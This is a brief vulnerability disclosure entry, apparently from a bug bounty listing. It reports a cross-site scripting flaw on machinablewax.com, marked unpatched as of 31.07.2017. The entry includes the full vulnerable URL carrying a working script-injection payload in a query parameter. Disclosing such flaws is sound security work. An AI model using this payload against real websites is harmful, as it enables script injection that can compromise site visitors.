machinablewax.com XSS vulnerability

Vulnerable URL: http://www.machinablewax.com/cw4/cwapp/inc/cw-inc-optionselect.php?action=product.php%3F%26product%3D44%22%27--!%3E%3Cscript%3EalertOPENBUGBOUNTY%3C/script%3E=44=table==1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS...